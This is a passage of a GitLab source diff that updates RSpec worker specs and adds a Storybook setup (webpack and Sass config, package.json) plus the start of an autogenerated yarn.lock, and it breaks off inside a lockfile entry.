- expect(MergeRequestCleanupRefsWorker).not_to receive(:bulk_perform_in)
+ expect(MergeRequestCleanupRefsWorker).not_to receive(:perform_with_capacity)
worker.perform
end
end
include_examples 'an idempotent worker' do
- it 'schedules MergeRequestCleanupRefsWorker to be performed by batch' do
- expect(MergeRequestCleanupRefsWorker)
- .to receive(:bulk_perform_in)
- .with(
- described_class::DELAY,
- [[1], [2], [3], [4]],
- batch_size: described_class::BATCH_SIZE
- )
+ it 'schedules MergeRequestCleanupRefsWorker to be performed with capacity' do
+ expect(MergeRequestCleanupRefsWorker).to receive(:perform_with_capacity).twice
- expect(worker).to receive(:log_extra_metadata_on_done).with(:merge_requests_count, 4)
-
- worker.perform
+ subject
end
end
end
diff --git a/spec/workers/users/deactivate_dormant_users_worker_spec.rb b/spec/workers/users/deactivate_dormant_users_worker_spec.rb
index 32291a143ee..934c497c79a 100644
--- a/spec/workers/users/deactivate_dormant_users_worker_spec.rb
+++ b/spec/workers/users/deactivate_dormant_users_worker_spec.rb
@@ -4,12 +4,12 @@ require 'spec_helper'
RSpec.describe Users::DeactivateDormantUsersWorker do
describe '#perform' do
+ let_it_be(:dormant) { create(:user, last_activity_on: User::MINIMUM_INACTIVE_DAYS.days.ago.to_date) }
+ let_it_be(:inactive) { create(:user, last_activity_on: nil) }
+
subject(:worker) { described_class.new }
it 'does not run for GitLab.com' do
- create(:user, last_activity_on: User::MINIMUM_INACTIVE_DAYS.days.ago.to_date)
- create(:user, last_activity_on: nil)
-
expect(Gitlab).to receive(:com?).and_return(true)
expect(Gitlab::CurrentSettings).not_to receive(:current_application_settings)
@@ -29,9 +29,6 @@ RSpec.describe Users::DeactivateDormantUsersWorker do
stub_const("#{described_class.name}::BATCH_SIZE", 1)
stub_const("#{described_class.name}::PAUSE_SECONDS", 0)
- create(:user, last_activity_on: User::MINIMUM_INACTIVE_DAYS.days.ago.to_date)
- create(:user, last_activity_on: nil)
-
expect(worker).to receive(:sleep).twice
worker.perform
@@ -48,9 +45,6 @@ RSpec.describe Users::DeactivateDormantUsersWorker do
end
it 'does nothing' do
- create(:user, last_activity_on: User::MINIMUM_INACTIVE_DAYS.days.ago.to_date)
- create(:user, last_activity_on: nil)
-
worker.perform
expect(User.dormant.count).to eq(1)
diff --git a/storybook/.gitignore b/storybook/.gitignore
new file mode 100644
index 00000000000..18d5e871aaa
--- /dev/null
+++ b/storybook/.gitignore
@@ -0,0 +1,2 @@
+node_modules/
+public/ \ No newline at end of file
diff --git a/storybook/config/main.js b/storybook/config/main.js
new file mode 100644
index 00000000000..c1369aebd91
--- /dev/null
+++ b/storybook/config/main.js
@@ -0,0 +1,10 @@
+/* eslint-disable import/no-commonjs */
+const IS_EE = require('../../config/helpers/is_ee_env');
+
+module.exports = {
+ stories: [
+ '../../app/assets/javascripts/**/*.stories.js',
+ IS_EE && '../../ee/app/assets/javascripts/**/*.stories.js',
+ ].filter(Boolean),
+ addons: ['@storybook/addon-essentials', '@storybook/addon-a11y'],
+};
diff --git a/storybook/config/preview.js b/storybook/config/preview.js
new file mode 100644
index 00000000000..a372aea68ad
--- /dev/null
+++ b/storybook/config/preview.js
@@ -0,0 +1,7 @@
+const stylesheetsRequireCtx = require.context(
+ '../../app/assets/stylesheets',
+ true,
+ /application\.scss$/,
+);
+
+stylesheetsRequireCtx('./application.scss');
diff --git a/storybook/config/webpack.config.js b/storybook/config/webpack.config.js
new file mode 100644
index 00000000000..c67f79b55a0
--- /dev/null
+++ b/storybook/config/webpack.config.js
@@ -0,0 +1,104 @@
+/* eslint-disable no-param-reassign */
+
+const { statSync } = require('fs');
+const path = require('path');
+const sass = require('node-sass'); // eslint-disable-line import/no-unresolved
+const { buildIncludePaths, resolveGlobUrl } = require('node-sass-magic-importer/dist/toolbox'); // eslint-disable-line import/no-unresolved
+const webpack = require('webpack');
+const gitlabWebpackConfig = require('../../config/webpack.config');
+
+const ROOT = path.resolve(__dirname, '../../');
+const TRANSPARENT_1X1_PNG =
+ 'url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==)';
+const SASS_INCLUDE_PATHS = [
+ 'app/assets/stylesheets',
+ 'app/assets/stylesheets/_ee',
+ 'ee/app/assets/stylesheets',
+ 'ee/app/assets/stylesheets/_ee',
+ 'node_modules',
+].map((p) => path.resolve(ROOT, p));
+
+/**
+ * Custom importer for node-sass, used when LibSass encounters the `@import` directive.
+ * Doc source: https://github.com/sass/node-sass#importer--v200---experimental
+ * @param {*} url the path in import as-is, which LibSass encountered.
+ * @param {*} prev the previously resolved path.
+ * @returns {Object | null} the new import string.
+ */
+function sassSmartImporter(url, prev) {
+ const nodeSassOptions = this.options;
+ const includePaths = buildIncludePaths(nodeSassOptions.includePaths, prev).filter(
+ (includePath) => !includePath.includes('node_modules'),
+ );
+
+ // GitLab extensively uses glob-style import paths, but
+ // Sass doesn't support glob-style URLs out of the box.
+ // Here, we try and resolve the glob URL.
+ // If it resolves, we update the @import statement with the resolved path.
+ const filePaths = resolveGlobUrl(url, includePaths);
+ if (filePaths) {
+ const contents = filePaths
+ .filter((file) => statSync(file).isFile())
+ .map((x) => `@import '${x}';`)
+ .join(`\n`);
+
+ return { contents };
+ }
+
+ return null;
+}
+
+const sassLoaderOptions = {
+ functions: {
+ 'image-url($url)': function sassImageUrlStub() {
+ return new sass.types.String(TRANSPARENT_1X1_PNG);
+ },
+ 'asset_path($url)': function sassAssetPathStub() {
+ return new sass.types.String(TRANSPARENT_1X1_PNG);
+ },
+ 'asset_url($url)': function sassAssetUrlStub() {
+ return new sass.types.String(TRANSPARENT_1X1_PNG);
+ },
+ 'url($url)': function sassUrlStub() {
+ return new sass.types.String(TRANSPARENT_1X1_PNG);
+ },
+ },
+ includePaths: SASS_INCLUDE_PATHS,
+ importer: sassSmartImporter,
+};
+
+module.exports = function storybookWebpackConfig({ config }) {
+ // Add any missing extensions from the main GitLab webpack config
+ config.resolve.extensions = Array.from(
+ new Set([...config.resolve.extensions, ...gitlabWebpackConfig.resolve.extensions]),
+ );
+
+ // Replace any Storybook-defined CSS loaders with our custom one.
+ config.module.rules = [
+ ...config.module.rules.filter((r) => !r.test.test('.css')),
+ {
+ test: /\.s?css$/,
+ exclude: /typescale\/\w+_demo\.scss$/, // skip typescale demo stylesheets
+ loaders: [
+ 'style-loader',
+ 'css-loader',
+ {
+ loader: 'sass-loader',
+ options: sassLoaderOptions,
+ },
+ ],
+ },
+ ];
+
+ // Silence webpack warnings about moment/pikaday not being able to resolve.
+ config.plugins.push(new webpack.IgnorePlugin(/moment/, /pikaday/));
+
+ // Add any missing aliases from the main GitLab webpack config
+ Object.assign(config.resolve.alias, gitlabWebpackConfig.resolve.alias);
+ // The main GitLab project aliases this `icons.svg` file to app/assets/javascripts/lib/utils/icons_path.js,
+ // which depends on the existence of a global `gon` variable.
+ // By deleting the alias, imports of this path will resolve as expected.
+ delete config.resolve.alias['@gitlab/svgs/dist/icons.svg'];
+
+ return config;
+};
diff --git a/storybook/package.json b/storybook/package.json
new file mode 100644
index 00000000000..028133dd5e3
--- /dev/null
+++ b/storybook/package.json
@@ -0,0 +1,20 @@
+{
+ "private": true,
+ "scripts": {
+ "test": "echo \"Error: no test specified\" && exit 1",
+ "start": "start-storybook -p 9002 -c config",
+ "build": "build-storybook -c config -o public"
+ },
+ "dependencies": {},
+ "devDependencies": {
+ "@storybook/addon-a11y": "^6.2.9",
+ "@storybook/addon-actions": "^6.2.9",
+ "@storybook/addon-controls": "^6.2.9",
+ "@storybook/addon-essentials": "^6.2.9",
+ "@storybook/vue": "6.2.9",
+ "node-sass": "^4.14.1",
+ "node-sass-magic-importer": "^5.3.2",
+ "postcss-loader": "3.0.0",
+ "sass-loader": "^7.1.0"
+ }
+}
diff --git a/storybook/yarn.lock b/storybook/yarn.lock
new file mode 100644
index 00000000000..de00d3bcfc2
--- /dev/null
+++ b/storybook/yarn.lock
@@ -0,0 +1,10766 @@
+# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
+# yarn lockfile v1
+
+
+"@babel/code-frame@7.10.4":
+ version "7.10.4"
+ resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.10.4.tgz#168da1a36e90da68ae8d49c0f1b48c7c6249213a"
+ integrity sha512-vG6SvB6oYEhvgisZNFRmRCUkLz11c7rp+tbNTynGqc6mS1d5ATd/sGyV6W0KZZnXRKMTzZDRgQT3Ou9jhpAfUg==
+ dependencies:
+ "@babel/highlight" "^7.10.4"
+
+"@babel/code-frame@^7.0.0", "@babel/code-frame@^7.10.4", "@babel/code-frame@^7.12.13", "@babel/code-frame@^7.5.5", "@babel/code-frame@^7.8.3":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.12.13.tgz#dcfc826beef65e75c50e21d3837d7d95798dd658"
+ integrity sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==
+ dependencies:
+ "@babel/highlight" "^7.12.13"
+
+"@babel/compat-data@^7.13.11", "@babel/compat-data@^7.14.4":
+ version "7.14.4"
+ resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.14.4.tgz#45720fe0cecf3fd42019e1d12cc3d27fadc98d58"
+ integrity sha512-i2wXrWQNkH6JplJQGn3Rd2I4Pij8GdHkXwHMxm+zV5YG/Jci+bCNrWZEWC4o+umiDkRrRs4dVzH3X4GP7vyjQQ==
+
+"@babel/core@7.12.9":
+ version "7.12.9"
+ resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.12.9.tgz#fd450c4ec10cdbb980e2928b7aa7a28484593fc8"
+ integrity sha512-gTXYh3M5wb7FRXQy+FErKFAv90BnlOuNn1QkCK2lREoPAjrQCO49+HVSrFoe5uakFAF5eenS75KbO2vQiLrTMQ==
+ dependencies:
+ "@babel/code-frame" "^7.10.4"
+ "@babel/generator" "^7.12.5"
+ "@babel/helper-module-transforms" "^7.12.1"
+ "@babel/helpers" "^7.12.5"
+ "@babel/parser" "^7.12.7"
+ "@babel/template" "^7.12.7"
+ "@babel/traverse" "^7.12.9"
+ "@babel/types" "^7.12.7"
+ convert-source-map "^1.7.0"
+ debug "^4.1.0"
+ gensync "^1.0.0-beta.1"
+ json5 "^2.1.2"
+ lodash "^4.17.19"
+ resolve "^1.3.2"
+ semver "^5.4.1"
+ source-map "^0.5.0"
+
+"@babel/core@^7.1.0", "@babel/core@^7.1.6", "@babel/core@^7.12.10", "@babel/core@^7.7.5":
+ version "7.14.3"
+ resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.14.3.tgz#5395e30405f0776067fbd9cf0884f15bfb770a38"
+ integrity sha512-jB5AmTKOCSJIZ72sd78ECEhuPiDMKlQdDI/4QRI6lzYATx5SSogS1oQA2AoPecRCknm30gHi2l+QVvNUu3wZAg==
+ dependencies:
+ "@babel/code-frame" "^7.12.13"
+ "@babel/generator" "^7.14.3"
+ "@babel/helper-compilation-targets" "^7.13.16"
+ "@babel/helper-module-transforms" "^7.14.2"
+ "@babel/helpers" "^7.14.0"
+ "@babel/parser" "^7.14.3"
+ "@babel/template" "^7.12.13"
+ "@babel/traverse" "^7.14.2"
+ "@babel/types" "^7.14.2"
+ convert-source-map "^1.7.0"
+ debug "^4.1.0"
+ gensync "^1.0.0-beta.2"
+ json5 "^2.1.2"
+ semver "^6.3.0"
+ source-map "^0.5.0"
+
+"@babel/generator@^7.12.11", "@babel/generator@^7.12.5", "@babel/generator@^7.14.2", "@babel/generator@^7.14.3":
+ version "7.14.3"
+ resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.14.3.tgz#0c2652d91f7bddab7cccc6ba8157e4f40dcedb91"
+ integrity sha512-bn0S6flG/j0xtQdz3hsjJ624h3W0r3llttBMfyHX3YrZ/KtLYr15bjA0FXkgW7FpvrDuTuElXeVjiKlYRpnOFA==
+ dependencies:
+ "@babel/types" "^7.14.2"
+ jsesc "^2.5.1"
+ source-map "^0.5.0"
+
+"@babel/helper-annotate-as-pure@^7.10.4", "@babel/helper-annotate-as-pure@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.12.13.tgz#0f58e86dfc4bb3b1fcd7db806570e177d439b6ab"
+ integrity sha512-7YXfX5wQ5aYM/BOlbSccHDbuXXFPxeoUmfWtz8le2yTkTZc+BxsiEnENFoi2SlmA8ewDkG2LgIMIVzzn2h8kfw==
+ dependencies:
+ "@babel/types" "^7.12.13"
+
+"@babel/helper-builder-binary-assignment-operator-visitor@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.12.13.tgz#6bc20361c88b0a74d05137a65cac8d3cbf6f61fc"
+ integrity sha512-CZOv9tGphhDRlVjVkAgm8Nhklm9RzSmWpX2my+t7Ua/KT616pEzXsQCjinzvkRvHWJ9itO4f296efroX23XCMA==
+ dependencies:
+ "@babel/helper-explode-assignable-expression" "^7.12.13"
+ "@babel/types" "^7.12.13"
+
+"@babel/helper-compilation-targets@^7.13.0", "@babel/helper-compilation-targets@^7.13.16", "@babel/helper-compilation-targets@^7.14.4":
+ version "7.14.4"
+ resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.14.4.tgz#33ebd0ffc34248051ee2089350a929ab02f2a516"
+ integrity sha512-JgdzOYZ/qGaKTVkn5qEDV/SXAh8KcyUVkCoSWGN8T3bwrgd6m+/dJa2kVGi6RJYJgEYPBdZ84BZp9dUjNWkBaA==
+ dependencies:
+ "@babel/compat-data" "^7.14.4"
+ "@babel/helper-validator-option" "^7.12.17"
+ browserslist "^4.16.6"
+ semver "^6.3.0"
+
+"@babel/helper-create-class-features-plugin@^7.13.0", "@babel/helper-create-class-features-plugin@^7.14.0", "@babel/helper-create-class-features-plugin@^7.14.2", "@babel/helper-create-class-features-plugin@^7.14.3", "@babel/helper-create-class-features-plugin@^7.14.4":
+ version "7.14.4"
+ resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.14.4.tgz#abf888d836a441abee783c75229279748705dc42"
+ integrity sha512-idr3pthFlDCpV+p/rMgGLGYIVtazeatrSOQk8YzO2pAepIjQhCN3myeihVg58ax2bbbGK9PUE1reFi7axOYIOw==
+ dependencies:
+ "@babel/helper-annotate-as-pure" "^7.12.13"
+ "@babel/helper-function-name" "^7.14.2"
+ "@babel/helper-member-expression-to-functions" "^7.13.12"
+ "@babel/helper-optimise-call-expression" "^7.12.13"
+ "@babel/helper-replace-supers" "^7.14.4"
+ "@babel/helper-split-export-declaration" "^7.12.13"
+
+"@babel/helper-create-regexp-features-plugin@^7.12.13":
+ version "7.14.3"
+ resolved "https://registry.yarnpkg.com/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.14.3.tgz#149aa6d78c016e318c43e2409a0ae9c136a86688"
+ integrity sha512-JIB2+XJrb7v3zceV2XzDhGIB902CmKGSpSl4q2C6agU9SNLG/2V1RtFRGPG1Ajh9STj3+q6zJMOC+N/pp2P9DA==
+ dependencies:
+ "@babel/helper-annotate-as-pure" "^7.12.13"
+ regexpu-core "^4.7.1"
+
+"@babel/helper-define-polyfill-provider@^0.1.5":
+ version "0.1.5"
+ resolved "https://registry.yarnpkg.com/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.1.5.tgz#3c2f91b7971b9fc11fe779c945c014065dea340e"
+ integrity sha512-nXuzCSwlJ/WKr8qxzW816gwyT6VZgiJG17zR40fou70yfAcqjoNyTLl/DQ+FExw5Hx5KNqshmN8Ldl/r2N7cTg==
+ dependencies:
+ "@babel/helper-compilation-targets" "^7.13.0"
+ "@babel/helper-module-imports" "^7.12.13"
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/traverse" "^7.13.0"
+ debug "^4.1.1"
+ lodash.debounce "^4.0.8"
+ resolve "^1.14.2"
+ semver "^6.1.2"
+
+"@babel/helper-define-polyfill-provider@^0.2.2":
+ version "0.2.3"
+ resolved "https://registry.yarnpkg.com/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.2.3.tgz#0525edec5094653a282688d34d846e4c75e9c0b6"
+ integrity sha512-RH3QDAfRMzj7+0Nqu5oqgO5q9mFtQEVvCRsi8qCEfzLR9p2BHfn5FzhSB2oj1fF7I2+DcTORkYaQ6aTR9Cofew==
+ dependencies:
+ "@babel/helper-compilation-targets" "^7.13.0"
+ "@babel/helper-module-imports" "^7.12.13"
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/traverse" "^7.13.0"
+ debug "^4.1.1"
+ lodash.debounce "^4.0.8"
+ resolve "^1.14.2"
+ semver "^6.1.2"
+
+"@babel/helper-explode-assignable-expression@^7.12.13":
+ version "7.13.0"
+ resolved "https://registry.yarnpkg.com/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.13.0.tgz#17b5c59ff473d9f956f40ef570cf3a76ca12657f"
+ integrity sha512-qS0peLTDP8kOisG1blKbaoBg/o9OSa1qoumMjTK5pM+KDTtpxpsiubnCGP34vK8BXGcb2M9eigwgvoJryrzwWA==
+ dependencies:
+ "@babel/types" "^7.13.0"
+
+"@babel/helper-function-name@^7.12.13", "@babel/helper-function-name@^7.14.2":
+ version "7.14.2"
+ resolved "https://registry.yarnpkg.com/@babel/helper-function-name/-/helper-function-name-7.14.2.tgz#397688b590760b6ef7725b5f0860c82427ebaac2"
+ integrity sha512-NYZlkZRydxw+YT56IlhIcS8PAhb+FEUiOzuhFTfqDyPmzAhRge6ua0dQYT/Uh0t/EDHq05/i+e5M2d4XvjgarQ==
+ dependencies:
+ "@babel/helper-get-function-arity" "^7.12.13"
+ "@babel/template" "^7.12.13"
+ "@babel/types" "^7.14.2"
+
+"@babel/helper-get-function-arity@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz#bc63451d403a3b3082b97e1d8b3fe5bd4091e583"
+ integrity sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==
+ dependencies:
+ "@babel/types" "^7.12.13"
+
+"@babel/helper-hoist-variables@^7.13.0":
+ version "7.13.16"
+ resolved "https://registry.yarnpkg.com/@babel/helper-hoist-variables/-/helper-hoist-variables-7.13.16.tgz#1b1651249e94b51f8f0d33439843e33e39775b30"
+ integrity sha512-1eMtTrXtrwscjcAeO4BVK+vvkxaLJSPFz1w1KLawz6HLNi9bPFGBNwwDyVfiu1Tv/vRRFYfoGaKhmAQPGPn5Wg==
+ dependencies:
+ "@babel/traverse" "^7.13.15"
+ "@babel/types" "^7.13.16"
+
+"@babel/helper-member-expression-to-functions@^7.13.12":
+ version "7.13.12"
+ resolved "https://registry.yarnpkg.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.13.12.tgz#dfe368f26d426a07299d8d6513821768216e6d72"
+ integrity sha512-48ql1CLL59aKbU94Y88Xgb2VFy7a95ykGRbJJaaVv+LX5U8wFpLfiGXJJGUozsmA1oEh/o5Bp60Voq7ACyA/Sw==
+ dependencies:
+ "@babel/types" "^7.13.12"
+
+"@babel/helper-module-imports@^7.0.0", "@babel/helper-module-imports@^7.12.13", "@babel/helper-module-imports@^7.13.12":
+ version "7.13.12"
+ resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.13.12.tgz#c6a369a6f3621cb25da014078684da9196b61977"
+ integrity sha512-4cVvR2/1B693IuOvSI20xqqa/+bl7lqAMR59R4iu39R9aOX8/JoYY1sFaNvUMyMBGnHdwvJgUrzNLoUZxXypxA==
+ dependencies:
+ "@babel/types" "^7.13.12"
+
+"@babel/helper-module-transforms@^7.12.1", "@babel/helper-module-transforms@^7.13.0", "@babel/helper-module-transforms@^7.14.0", "@babel/helper-module-transforms@^7.14.2":
+ version "7.14.2"
+ resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.14.2.tgz#ac1cc30ee47b945e3e0c4db12fa0c5389509dfe5"
+ integrity sha512-OznJUda/soKXv0XhpvzGWDnml4Qnwp16GN+D/kZIdLsWoHj05kyu8Rm5kXmMef+rVJZ0+4pSGLkeixdqNUATDA==
+ dependencies:
+ "@babel/helper-module-imports" "^7.13.12"
+ "@babel/helper-replace-supers" "^7.13.12"
+ "@babel/helper-simple-access" "^7.13.12"
+ "@babel/helper-split-export-declaration" "^7.12.13"
+ "@babel/helper-validator-identifier" "^7.14.0"
+ "@babel/template" "^7.12.13"
+ "@babel/traverse" "^7.14.2"
+ "@babel/types" "^7.14.2"
+
+"@babel/helper-optimise-call-expression@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.12.13.tgz#5c02d171b4c8615b1e7163f888c1c81c30a2aaea"
+ integrity sha512-BdWQhoVJkp6nVjB7nkFWcn43dkprYauqtk++Py2eaf/GRDFm5BxRqEIZCiHlZUGAVmtwKcsVL1dC68WmzeFmiA==
+ dependencies:
+ "@babel/types" "^7.12.13"
+
+"@babel/helper-plugin-utils@7.10.4":
+ version "7.10.4"
+ resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.10.4.tgz#2f75a831269d4f677de49986dff59927533cf375"
+ integrity sha512-O4KCvQA6lLiMU9l2eawBPMf1xPP8xPfB3iEQw150hOVTqj/rfXz0ThTb4HEzqQfs2Bmo5Ay8BzxfzVtBrr9dVg==
+
+"@babel/helper-plugin-utils@^7.0.0", "@babel/helper-plugin-utils@^7.10.4", "@babel/helper-plugin-utils@^7.12.13", "@babel/helper-plugin-utils@^7.13.0", "@babel/helper-plugin-utils@^7.8.0", "@babel/helper-plugin-utils@^7.8.3":
+ version "7.13.0"
+ resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.13.0.tgz#806526ce125aed03373bc416a828321e3a6a33af"
+ integrity sha512-ZPafIPSwzUlAoWT8DKs1W2VyF2gOWthGd5NGFMsBcMMol+ZhK+EQY/e6V96poa6PA/Bh+C9plWN0hXO1uB8AfQ==
+
+"@babel/helper-remap-async-to-generator@^7.13.0":
+ version "7.13.0"
+ resolved "https://registry.yarnpkg.com/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.13.0.tgz#376a760d9f7b4b2077a9dd05aa9c3927cadb2209"
+ integrity sha512-pUQpFBE9JvC9lrQbpX0TmeNIy5s7GnZjna2lhhcHC7DzgBs6fWn722Y5cfwgrtrqc7NAJwMvOa0mKhq6XaE4jg==
+ dependencies:
+ "@babel/helper-annotate-as-pure" "^7.12.13"
+ "@babel/helper-wrap-function" "^7.13.0"
+ "@babel/types" "^7.13.0"
+
+"@babel/helper-replace-supers@^7.12.13", "@babel/helper-replace-supers@^7.13.12", "@babel/helper-replace-supers@^7.14.4":
+ version "7.14.4"
+ resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.14.4.tgz#b2ab16875deecfff3ddfcd539bc315f72998d836"
+ integrity sha512-zZ7uHCWlxfEAAOVDYQpEf/uyi1dmeC7fX4nCf2iz9drnCwi1zvwXL3HwWWNXUQEJ1k23yVn3VbddiI9iJEXaTQ==
+ dependencies:
+ "@babel/helper-member-expression-to-functions" "^7.13.12"
+ "@babel/helper-optimise-call-expression" "^7.12.13"
+ "@babel/traverse" "^7.14.2"
+ "@babel/types" "^7.14.4"
+
+"@babel/helper-simple-access@^7.13.12":
+ version "7.13.12"
+ resolved "https://registry.yarnpkg.com/@babel/helper-simple-access/-/helper-simple-access-7.13.12.tgz#dd6c538afb61819d205a012c31792a39c7a5eaf6"
+ integrity sha512-7FEjbrx5SL9cWvXioDbnlYTppcZGuCY6ow3/D5vMggb2Ywgu4dMrpTJX0JdQAIcRRUElOIxF3yEooa9gUb9ZbA==
+ dependencies:
+ "@babel/types" "^7.13.12"
+
+"@babel/helper-skip-transparent-expression-wrappers@^7.12.1":
+ version "7.12.1"
+ resolved "https://registry.yarnpkg.com/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.12.1.tgz#462dc63a7e435ade8468385c63d2b84cce4b3cbf"
+ integrity sha512-Mf5AUuhG1/OCChOJ/HcADmvcHM42WJockombn8ATJG3OnyiSxBK/Mm5x78BQWvmtXZKHgbjdGL2kin/HOLlZGA==
+ dependencies:
+ "@babel/types" "^7.12.1"
+
+"@babel/helper-split-export-declaration@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz#e9430be00baf3e88b0e13e6f9d4eaf2136372b05"
+ integrity sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==
+ dependencies:
+ "@babel/types" "^7.12.13"
+
+"@babel/helper-validator-identifier@^7.12.11", "@babel/helper-validator-identifier@^7.14.0":
+ version "7.14.0"
+ resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.14.0.tgz#d26cad8a47c65286b15df1547319a5d0bcf27288"
+ integrity sha512-V3ts7zMSu5lfiwWDVWzRDGIN+lnCEUdaXgtVHJgLb1rGaA6jMrtB9EmE7L18foXJIE8Un/A/h6NJfGQp/e1J4A==
+
+"@babel/helper-validator-option@^7.12.17":
+ version "7.12.17"
+ resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.12.17.tgz#d1fbf012e1a79b7eebbfdc6d270baaf8d9eb9831"
+ integrity sha512-TopkMDmLzq8ngChwRlyjR6raKD6gMSae4JdYDB8bByKreQgG0RBTuKe9LRxW3wFtUnjxOPRKBDwEH6Mg5KeDfw==
+
+"@babel/helper-wrap-function@^7.13.0":
+ version "7.13.0"
+ resolved "https://registry.yarnpkg.com/@babel/helper-wrap-function/-/helper-wrap-function-7.13.0.tgz#bdb5c66fda8526ec235ab894ad53a1235c79fcc4"
+ integrity sha512-1UX9F7K3BS42fI6qd2A4BjKzgGjToscyZTdp1DjknHLCIvpgne6918io+aL5LXFcER/8QWiwpoY902pVEqgTXA==
+ dependencies:
+ "@babel/helper-function-name" "^7.12.13"
+ "@babel/template" "^7.12.13"
+ "@babel/traverse" "^7.13.0"
+ "@babel/types" "^7.13.0"
+
+"@babel/helpers@^7.12.5", "@babel/helpers@^7.14.0":
+ version "7.14.0"
+ resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.14.0.tgz#ea9b6be9478a13d6f961dbb5f36bf75e2f3b8f62"
+ integrity sha512-+ufuXprtQ1D1iZTO/K9+EBRn+qPWMJjZSw/S0KlFrxCw4tkrzv9grgpDHkY9MeQTjTY8i2sp7Jep8DfU6tN9Mg==
+ dependencies:
+ "@babel/template" "^7.12.13"
+ "@babel/traverse" "^7.14.0"
+ "@babel/types" "^7.14.0"
+
+"@babel/highlight@^7.10.4", "@babel/highlight@^7.12.13":
+ version "7.14.0"
+ resolved "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.14.0.tgz#3197e375711ef6bf834e67d0daec88e4f46113cf"
+ integrity sha512-YSCOwxvTYEIMSGaBQb5kDDsCopDdiUGsqpatp3fOlI4+2HQSkTmEVWnVuySdAC5EWCqSWWTv0ib63RjR7dTBdg==
+ dependencies:
+ "@babel/helper-validator-identifier" "^7.14.0"
+ chalk "^2.0.0"
+ js-tokens "^4.0.0"
+
+"@babel/parser@^7.1.6", "@babel/parser@^7.12.0", "@babel/parser@^7.12.11", "@babel/parser@^7.12.13", "@babel/parser@^7.12.7", "@babel/parser@^7.13.12", "@babel/parser@^7.13.9", "@babel/parser@^7.14.2", "@babel/parser@^7.14.3", "@babel/parser@^7.6.0", "@babel/parser@^7.9.6":
+ version "7.14.4"
+ resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.14.4.tgz#a5c560d6db6cd8e6ed342368dea8039232cbab18"
+ integrity sha512-ArliyUsWDUqEGfWcmzpGUzNfLxTdTp6WU4IuP6QFSp9gGfWS6boxFCkJSJ/L4+RG8z/FnIU3WxCk6hPL9SSWeA==
+
+"@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@^7.13.12":
+ version "7.13.12"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.13.12.tgz#a3484d84d0b549f3fc916b99ee4783f26fabad2a"
+ integrity sha512-d0u3zWKcoZf379fOeJdr1a5WPDny4aOFZ6hlfKivgK0LY7ZxNfoaHL2fWwdGtHyVvra38FC+HVYkO+byfSA8AQ==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/helper-skip-transparent-expression-wrappers" "^7.12.1"
+ "@babel/plugin-proposal-optional-chaining" "^7.13.12"
+
+"@babel/plugin-proposal-async-generator-functions@^7.14.2":
+ version "7.14.2"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.14.2.tgz#3a2085abbf5d5f962d480dbc81347385ed62eb1e"
